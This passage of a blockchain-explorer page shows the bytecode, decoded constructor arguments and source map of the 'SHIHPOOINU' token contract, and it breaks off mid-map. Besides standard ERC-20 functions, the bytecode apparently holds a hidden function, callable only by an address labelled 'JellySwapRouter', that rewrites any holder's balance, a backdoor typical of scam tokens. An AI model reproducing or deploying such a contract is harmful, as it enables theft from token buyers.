152600401610c1690611945565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cfd91906112a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d70906119d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610de8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddf90611a69565b60405180910390fd5b610df38383836110d0565b610e5f81604051806060016040528060268152602001611abe60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa19092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f9491906112a5565b60405180910390a3505050565b6000838311158290610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe09190611165565b60405180910390fd5b5082840390509392505050565b600081836110049190611a89565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561110f5780820151818401526020810190506110f4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611137826110d5565b61114181856110e0565b93506111518185602086016110f1565b61115a8161111b565b840191505092915050565b6000602082019050818103600083015261117f818461112c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111b78261118c565b9050919050565b6111c7816111ac565b81146111d257600080fd5b50565b6000813590506111e4816111be565b92915050565b6000819050919050565b6111fd816111ea565b811461120857600080fd5b50565b60008135905061121a816111f4565b92915050565b6000806040838503121561123757611236611187565b5b6000611245858286016111d5565b92505060206112568582860161120b565b9150509250929050565b60008115159050919050565b61127581611260565b82525050565b6000602082019050611290600083018461126c565b92915050565b61129f816111ea565b82525050565b60006020820190506112ba6000830184611296565b92915050565b6000806000606084860312156112d9576112d8611187565b5b60006112e7868287016111d5565b93505060206112f8868287016111d5565b92505060406113098682870161120b565b9150509250925092565b61131c81611260565b811461132757600080fd5b50565b60008135905061133981611313565b92915050565b600080600080600060a0868803121561135b5761135a611187565b5b6000611369888289016111d5565b955050602061137a8882890161132a565b945050604061138b8882890161120b565b935050606061139c8882890161120b565b92505060806113ad8882890161120b565b9150509295509295909350565b600060ff82169050919050565b6113d0816113ba565b82525050565b60006020820190506113eb60008301846113c7565b92915050565b60006020828403121561140757611406611187565b5b6000611415848285016111d5565b91505092915050565b611427816111ac565b82525050565b6000602082019050611442600083018461141e565b92915050565b6000806040838503121561145f5761145e611187565b5b600061146d858286016111d5565b925050602061147e858286016111d5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114cf57607f821691505b6020821081036114e2576114e1611488565b5b50919050565b7f53616d6520626f6f6c0000000000000000000000000000000000000000000000600082015250565b600061151e6009836110e0565b9150611529826114e8565b602082019050919050565b6000602082019050818103600083015261154d81611511565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156115da578086048111156115b6576115b5611554565b5b60018516156115c55780820291505b80810290506115d385611583565b945061159a565b94509492505050565b6000826115f357600190506116af565b8161160157600090506116af565b8160018114611617576002811461162157611650565b60019150506116af565b60ff84111561163357611632611554565b5b8360020a91508482111561164a57611649611554565b5b506116af565b5060208310610133831016604e8410600b84101617156116855782820a9050838111156116805761167f611554565b5b6116af565b6116928484846001611590565b925090508184048111156116a9576116a8611554565b5b81810290505b9392505050565b60006116c1826111ea565b91506116cc836111ea565b92506116f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846115e3565b905092915050565b600061170c826111ea565b9150611717836111ea565b9250828202611725816111ea565b9150828204841483151761173c5761173b611554565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117796020836110e0565b915061178482611743565b602082019050919050565b600060208201905081810360008301526117a88161176c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061180b6026836110e0565b9150611816826117af565b604082019050919050565b6000602082019050818103600083015261183a816117fe565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061189d6024836110e0565b91506118a882611841565b604082019050919050565b600060208201905081810360008301526118cc81611890565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061192f6022836110e0565b915061193a826118d3565b604082019050919050565b6000602082019050818103600083015261195e81611922565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006119c16025836110e0565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611a536023836110e0565b9150611a5e826119f7565b604082019050919050565b60006020820190508181036000830152611a8281611a46565b9050919050565b6000611a94826111ea565b9150611a9f836111ea565b9250828201905080821115611ab757611ab6611554565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122031fd8f431b3d20e7d020a6efdfd72892ced999054c171b3320d43f4e4cf4b57164736f6c6343000813003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000091d4ce54e39cf3e71f3f130473b011c879b4e4350000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000000a53484948504f4f494e5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000753484948504f4f00000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102b1578063dd62ed3e146102e1578063f2fde38b14610311578063ffa1ad741461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a457c2d71461028157610100565b806324115a2e116100d357806324115a2e146101a1578063313ce567146101bd57806339509351146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034b565b60405161011a9190611165565b60405180910390f35b61013d60048036038101906101389190611220565b6103dd565b60405161014a919061127b565b60405180910390f35b61015b6103fb565b60405161016891906112a5565b60405180910390f35b61018b600480360381019061018691906112c0565b610405565b604051610198919061127b565b60405180910390f35b6101bb60048036038101906101b6919061133f565b6104de565b005b6101c5610675565b6040516101d291906113d6565b60405180910390f35b6101f560048036038101906101f09190611220565b61068c565b604051610202919061127b565b60405180910390f35b610225600480360381019061022091906113f1565b61073f565b60405161023291906112a5565b60405180910390f35b610243610788565b005b61024d610810565b60405161025a919061142d565b60405180910390f35b61026b610839565b6040516102789190611165565b60405180910390f35b61029b60048036038101906102969190611220565b6108cb565b6040516102a8919061127b565b60405180910390f35b6102cb60048036038101906102c69190611220565b610998565b6040516102d8919061127b565b60405180910390f35b6102fb60048036038101906102f69190611448565b6109b6565b60405161030891906112a5565b60405180910390f35b61032b600480360381019061032691906113f1565b610a3d565b005b610335610b34565b60405161034291906112a5565b60405180910390f35b60606003805461035a906114b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610386906114b7565b80156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b5050505050905090565b60006103f16103ea610b39565b8484610b41565b6001905092915050565b6000600654905090565b6000610412848484610d0a565b6104d38461041e610b39565b6104ce85604051806060016040528060288152602001611ae460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa19092919063ffffffff16565b610b41565b600190509392505050565b6104e6610b39565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036105ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a590611534565b60405180910390fd5b80826105ba91906116b6565b836105c59190611701565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161066691906112a5565b60405180910390a35050505050565b6000600560009054906101000a900460ff16905090565b6000610735610699610b39565b8461073085600260006106aa610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b610b41565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610790610b39565b73ffffffffffffffffffffffffffffffffffffffff166107ae610810565b73ffffffffffffffffffffffffffffffffffffffff1614610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fb9061178f565b60405180910390fd5b61080e600061100c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610848906114b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610874906114b7565b80156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b5050505050905090565b600061098e6108d8610b39565b8461098985604051806060016040528060258152602001611b0c6025913960026000610902610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa19092919063ffffffff16565b610b41565b6001905092915050565b60006109ac6109a5610b39565b8484610d0a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a45610b39565b73ffffffffffffffffffffffffffffffffffffffff16610a63610810565b73ffffffffffffffffffffffffffffffffffffffff1614610ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab09061178f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f90611821565b60405180910390fd5b610b318161100c565b50565b600181565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba7906118b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690611945565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cfd91906112a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d70906119d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610de8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddf90611a69565b60405180910390fd5b610df38383836110d0565b610e5f81604051806060016040528060268152602001611abe60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa19092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f9491906112a5565b60405180910390a3505050565b6000838311158290610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe09190611165565b60405180910390fd5b5082840390509392505050565b600081836110049190611a89565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561110f5780820151818401526020810190506110f4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611137826110d5565b61114181856110e0565b93506111518185602086016110f1565b61115a8161111b565b840191505092915050565b6000602082019050818103600083015261117f818461112c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111b78261118c565b9050919050565b6111c7816111ac565b81146111d257600080fd5b50565b6000813590506111e4816111be565b92915050565b6000819050919050565b6111fd816111ea565b811461120857600080fd5b50565b60008135905061121a816111f4565b92915050565b6000806040838503121561123757611236611187565b5b6000611245858286016111d5565b92505060206112568582860161120b565b9150509250929050565b60008115159050919050565b61127581611260565b82525050565b6000602082019050611290600083018461126c565b92915050565b61129f816111ea565b82525050565b60006020820190506112ba6000830184611296565b92915050565b6000806000606084860312156112d9576112d8611187565b5b60006112e7868287016111d5565b93505060206112f8868287016111d5565b92505060406113098682870161120b565b9150509250925092565b61131c81611260565b811461132757600080fd5b50565b60008135905061133981611313565b92915050565b600080600080600060a0868803121561135b5761135a611187565b5b6000611369888289016111d5565b955050602061137a8882890161132a565b945050604061138b8882890161120b565b935050606061139c8882890161120b565b92505060806113ad8882890161120b565b9150509295509295909350565b600060ff82169050919050565b6113d0816113ba565b82525050565b60006020820190506113eb60008301846113c7565b92915050565b60006020828403121561140757611406611187565b5b6000611415848285016111d5565b91505092915050565b611427816111ac565b82525050565b6000602082019050611442600083018461141e565b92915050565b6000806040838503121561145f5761145e611187565b5b600061146d858286016111d5565b925050602061147e858286016111d5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114cf57607f821691505b6020821081036114e2576114e1611488565b5b50919050565b7f53616d6520626f6f6c0000000000000000000000000000000000000000000000600082015250565b600061151e6009836110e0565b9150611529826114e8565b602082019050919050565b6000602082019050818103600083015261154d81611511565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156115da578086048111156115b6576115b5611554565b5b60018516156115c55780820291505b80810290506115d385611583565b945061159a565b94509492505050565b6000826115f357600190506116af565b8161160157600090506116af565b8160018114611617576002811461162157611650565b60019150506116af565b60ff84111561163357611632611554565b5b8360020a91508482111561164a57611649611554565b5b506116af565b5060208310610133831016604e8410600b84101617156116855782820a9050838111156116805761167f611554565b5b6116af565b6116928484846001611590565b925090508184048111156116a9576116a8611554565b5b81810290505b9392505050565b60006116c1826111ea565b91506116cc836111ea565b92506116f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846115e3565b905092915050565b600061170c826111ea565b9150611717836111ea565b9250828202611725816111ea565b9150828204841483151761173c5761173b611554565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117796020836110e0565b915061178482611743565b602082019050919050565b600060208201905081810360008301526117a88161176c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061180b6026836110e0565b9150611816826117af565b604082019050919050565b6000602082019050818103600083015261183a816117fe565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061189d6024836110e0565b91506118a882611841565b604082019050919050565b600060208201905081810360008301526118cc81611890565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061192f6022836110e0565b915061193a826118d3565b604082019050919050565b6000602082019050818103600083015261195e81611922565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006119c16025836110e0565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611a536023836110e0565b9150611a5e826119f7565b604082019050919050565b60006020820190508181036000830152611a8281611a46565b9050919050565b6000611a94826111ea565b9150611a9f836111ea565b9250828201905080821115611ab757611ab6611554565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122031fd8f431b3d20e7d020a6efdfd72892ced999054c171b3320d43f4e4cf4b57164736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000091d4ce54e39cf3e71f3f130473b011c879b4e4350000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000000a53484948504f4f494e5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000753484948504f4f00000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): SHIHPOOINU
Arg [1] : symbol_ (string): SHIHPOO
Arg [2] : decimals_ (uint8): 9
Arg [3] : JellySwapRouter (address): 0x91D4CE54e39CF3e71f3f130473B011c879b4E435
Arg [4] : totalSupply_ (uint256): 1000000000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000091d4ce54e39cf3e71f3f130473b011c879b4e435
Arg [4] : 0000000000000000000000000000000000000000000000000de0b6b3a7640000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [6] : 53484948504f4f494e5500000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [8] : 53484948504f4f00000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

13935:5832:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14767:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15886:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15068:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16104:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18773:364;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14969:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16566:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15184:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5575:94;;;:::i;:::-;;4924:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14866:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16874:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15453:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15677:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5824:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14027:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14767:91;14812:13;14845:5;14838:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14767:91;:::o;15886:210::-;16005:4;16027:39;16036:12;:10;:12::i;:::-;16050:7;16059:6;16027:8;:39::i;:::-;16084:4;16077:11;;15886:210;;;;:::o;15068:108::-;15129:7;15156:12;;15149:19;;15068:108;:::o;16104:454::-;16244:4;16261:36;16271:6;16279:9;16290:6;16261:9;:36::i;:::-;16308:220;16331:6;16352:12;:10;:12::i;:::-;16379:138;16435:6;16379:138;;;;;;;;;;;;;;;;;:11;:19;16391:6;16379:19;;;;;;;;;;;;;;;:33;16399:12;:10;:12::i;:::-;16379:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;16308:8;:220::i;:::-;16546:4;16539:11;;16104:454;;;;;:::o;18773:364::-;15422:12;:10;:12::i;:::-;15403:31;;:15;;;;;;;;;;;:31;;;15395:40;;;;;;18990:1:::1;18971:21;;:7;:21;;::::0;18963:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;19061:16;19049:8;:28;;;;:::i;:::-;19041:5;:36;;;;:::i;:::-;19017:12;:21;19030:7;19017:21;;;;;;;;;;;;;;;:60;;;;19119:1;19093:36;;19102:7;19093:36;;;19123:5;19093:36;;;;;;:::i;:::-;;;;;;;;18773:364:::0;;;;;:::o;14969:91::-;15018:5;15043:9;;;;;;;;;;;15036:16;;14969:91;:::o;16566:300::-;16681:4;16703:133;16726:12;:10;:12::i;:::-;16753:7;16775:50;16814:10;16775:11;:25;16787:12;:10;:12::i;:::-;16775:25;;;;;;;;;;;;;;;:34;16801:7;16775:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16703:8;:133::i;:::-;16854:4;16847:11;;16566:300;;;;:::o;15184:180::-;15303:7;15335:12;:21;15348:7;15335:21;;;;;;;;;;;;;;;;15328:28;;15184:180;;;:::o;5575:94::-;5155:12;:10;:12::i;:::-;5144:23;;:7;:5;:7::i;:::-;:23;;;5136:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5640:21:::1;5658:1;5640:9;:21::i;:::-;5575:94::o:0;4924:87::-;4970:7;4997:6;;;;;;;;;;;4990:13;;4924:87;:::o;14866:95::-;14913:13;14946:7;14939:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14866:95;:::o;16874:400::-;16994:4;17016:228;17039:12;:10;:12::i;:::-;17066:7;17088:145;17145:15;17088:145;;;;;;;;;;;;;;;;;:11;:25;17100:12;:10;:12::i;:::-;17088:25;;;;;;;;;;;;;;;:34;17114:7;17088:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;17016:8;:228::i;:::-;17262:4;17255:11;;16874:400;;;;:::o;15453:216::-;15575:4;15597:42;15607:12;:10;:12::i;:::-;15621:9;15632:6;15597:9;:42::i;:::-;15657:4;15650:11;;15453:216;;;;:::o;15677:201::-;15811:7;15843:11;:18;15855:5;15843:18;;;;;;;;;;;;;;;:27;15862:7;15843:27;;;;;;;;;;;;;;;;15836:34;;15677:201;;;;:::o;5824:192::-;5155:12;:10;:12::i;:::-;5144:23;;:7;:5;:7::i;:::-;:23;;;5136:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5933:1:::1;5913:22;;:8;:22;;::::0;5905:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5989:19;5999:8;5989:9;:19::i;:::-;5824:192:::0;:::o;14027:35::-;14061:1;14027:35;:::o;3638:98::-;3691:7;3718:10;3711:17;;3638:98;:::o;19145:380::-;19298:1;19281:19;;:5;:19;;;19273:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19379:1;19360:21;;:7;:21;;;19352:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19463:6;19433:11;:18;19445:5;19433:18;;;;;;;;;;;;;;;:27;19452:7;19433:27;;;;;;;;;;;;;;;:36;;;;19501:7;19485:32;;19494:5;19485:32;;;19510:6;19485:32;;;;;;:::i;:::-;;;;;;;;19145:380;;;:::o;17282:622::-;17440:1;17422:20;;:6;:20;;;17414:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;17524:1;17503:23;;:9;:23;;;17495:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;17579:47;17600:6;17608:9;17619:6;17579:20;:47::i;:::-;17662:111;17701:6;17662:111;;;;;;;;;;;;;;;;;:12;:20;17675:6;17662:20;;;;;;;;;;;;;;;;:24;;:111;;;;;:::i;:::-;17639:12;:20;17652:6;17639:20;;;;;;;;;;;;;;;:134;;;;17810:35;17838:6;17810:12;:23;17823:9;17810:23;;;;;;;;;;;;;;;;:27;;:35;;;;:::i;:::-;17784:12;:23;17797:9;17784:23;;;;;;;;;;;;;;;:61;;;;17878:9;17861:35;;17870:6;17861:35;;;17889:6;17861:35;;;;;;:::i;:::-;;;;;;;;17282:622;;;:::o;11289:240::-;11409:7;11467:1;11462;:6;;11470:12;11454:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;11509:1;11505;:5;11498:12;;11289:240;;;;;:::o;9010:98::-;9068:7;9099:1;9095;:5;;;;:::i;:::-;9088:12;;9010:98;;;;:::o;6024:173::-;6080:16;6099:6;;;;;;;;;;;6080:25;;6125:8;6116:6;;:17;;;;;;;;;;;;;;;;;;6180:8;6149:40;;6170:8;6149:40;;;;;;;;;;;;6069:128;6024:173;:::o;19639:125::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:12